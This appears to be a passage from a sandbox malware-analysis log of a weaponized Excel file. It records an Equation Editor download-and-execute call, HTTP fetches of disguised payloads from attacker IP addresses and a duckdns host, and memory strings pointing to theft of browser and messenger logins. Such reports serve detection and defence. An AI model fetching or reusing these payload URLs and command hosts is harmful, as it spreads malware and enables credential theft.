            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 8_2_003309A6 URLDownloadToFileW,ShellExecuteW,ExitProcess,8_2_003309A6
            Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A30681FE.emfJump to behavior
            Source: global trafficHTTP traffic detected: GET /dg4Zx HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/screensimplethingstohandlecream.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /50/HNBC.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
            Source: bhv8C29.tmp.13.drString found in binary or memory: Cookie:user@www.linkedin.com/ equals www.linkedin.com (Linkedin)
            Source: RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
            Source: RegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
            Source: RegAsm.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
            Source: bhv8C29.tmp.13.drString found in binary or memory: www.linkedin.come equals www.linkedin.com (Linkedin)
            Source: RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
            Source: RegAsm.exe, 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
            Source: global trafficDNS traffic detected: DNS query: tny.wtf
            Source: global trafficDNS traffic detected: DNS query: maveing.duckdns.org
            Source: global trafficDNS traffic detected: DNS query: geoplugin.net
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:18:59 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cphZWdwEAPs7RmuAKwt3JyKS7kXEZw6droJe%2FiRwlvbpsiUSWKYvaODKiXVJd7ms9lAMlKahhw5B2aYdCeIkInGvWqH%2BiyIXiiHa501x6rwwVZEEV0Sa0EGl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fdfeaa3517f9-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:19:00 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DzlpIs5rBr%2Fc%2FVEv%2Fuc210NritVCr0QqO1%2FahkpRYvN%2FLxO7O1fqOV146HbkAEfhYt631rQQbfdtRSKOrqVzJAlTlJ%2B4W%2BGyx8fHVseo%2ByRx2wqXxm%2BUfyJt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fe013bb017f9-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:19:00 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ULuTuMWA9fR9fCyohmEj99q0hbyTR%2Bww77M81oDfOUYMX8dVNEcOmb0xjYpiU2f40q37OJ7eN%2FKe63ImgaL61PVzSCQUO1qQW4QMa%2BNxQw%2BLp91SC%2Bc9ppBU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fe022c4317f9-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:19:10 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5IkLdr8tkxZzHEAF0454Uml5y0bA30DS%2FtJV4ybYz9iSALKb%2Bi6q6d7Pdo6%2FLadJWH%2Fp7eOA0Uxe5aeu2FatugOy2w4x0uQ5HzizxOGjipvY3%2F%2BKCbXMMJ0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fe447efac46b-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:19:10 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d5IkLdr8tkxZzHEAF0454Uml5y0bA30DS%2FtJV4ybYz9iSALKb%2Bi6q6d7Pdo6%2FLadJWH%2Fp7eOA0Uxe5aeu2FatugOy2w4x0uQ5HzizxOGjipvY3%2F%2BKCbXMMJ0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fe447efac46b-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
            Source: powershell.exe, 0000000A.00000002.459029787.0000000008211000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154
            Source: powershell.exe, 0000000A.00000002.459029787.0000000008211000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/HNBC.txt
            Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000008.00000002.438712158.0000000000304000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIF
            Source: EQNEDT32.EXE, 00000008.00000002.438712158.000000000032F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://192.3.176.154/50/screensimplethingstohandlecream.gIFj
            Source: powershell.exe, 0000000A.00000002.453534408.000000000268C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133
            Source: powershell.exe, 0000000A.00000002.453534408.000000000268C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458455504.0000000004FA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://acdn.adnxs.com/ast/ast.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://b.scorecardresearch.com/beacon.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://cache.btrll.com/default/Pix-1x1.gif
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://cdn.at.atwola.com/_media/uac/msn.html
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://cdn.taboola.com/libtrc/msn-home-network/loader.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
            Source: RegAsm.exe, RegAsm.exe, 0000000C.00000002.970330379.00000000008F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
            Source: RegAsm.exe, 0000000C.00000002.970273090.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp(Y
            Source: powershell.exe, 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
            Source: RegAsm.exe, 0000000C.00000002.970273090.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp:Y
            Source: powershell.exe, 0000000A.00000002.452808668.000000000032C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.ck
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA2oHEB?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42Hq5?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42eYr?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA42pjY?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6K5wX?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA6pevu?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8I0Dg?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA8uJZv?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAHxwMU?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAJhH73?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAhvyvD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtB8UA?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBduP?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtBnuN?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCLD9?h=368&w=522&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCr7K?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtCzBA?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyXtPP?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzl6aj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17cJeH?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dAYk?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dJEo?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dLTg?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dOHE?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dWNo?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17dtuY?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e0XT?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e3cA?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e5NB?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e7Ai?h=250&w=300&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17e9Q0?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=j
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17eeI9?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB17ejTJ?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBPfCZL?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYMDHp?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBZbaoj?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBh7lZF?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBih5H?m=6&o=true&u=true&n=true&w=30&h=30
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlKGpe?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=jpg
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBlPHfm?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBnMzWD?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqRcpR?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
            Source: powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://o.aolcdn.com/ads/adswrappermsni.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683
            Source: powershell.exe, 0000000A.00000002.453534408.0000000002551000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/_h/975a7d20/webcore/externalscripts/jquery/jquer
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/css/f15f847b-3b9d03a9/directi
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-7e75174a/directio
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/en-us/homepage/_sc/js/f15f847b-80c466c0/directio
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/6b/7fe9d7.woff
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/c6/cfdbd9.png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/64bfc5b6/webcore/externalscripts/oneTrust/de-
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/a1438951/webcore/externalscripts/oneTrust/ski
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/css/f60532dd-8d94f807/directi
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-2923b6c2/directio
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-de/homepage/_sc/js/f60532dd-a12f0134/directio
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/21/241a2c.woff
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA2oHEB.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42Hq5.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42eYr.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA42pjY.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6K5wX.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA6pevu.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8I0Dg.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AA8uJZv.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAHxwMU.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAJhH73.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAgi0nZ.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAhvyvD.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtB8UA.img?h=166&w=310
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBduP.img?h=75&w=100&
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtBnuN.img?h=166&w=310
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCLD9.img?h=368&w=522
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCr7K.img?h=75&w=100&
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAtCzBA.img?h=250&w=300
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyXtPP.img?h=16&w=16&m
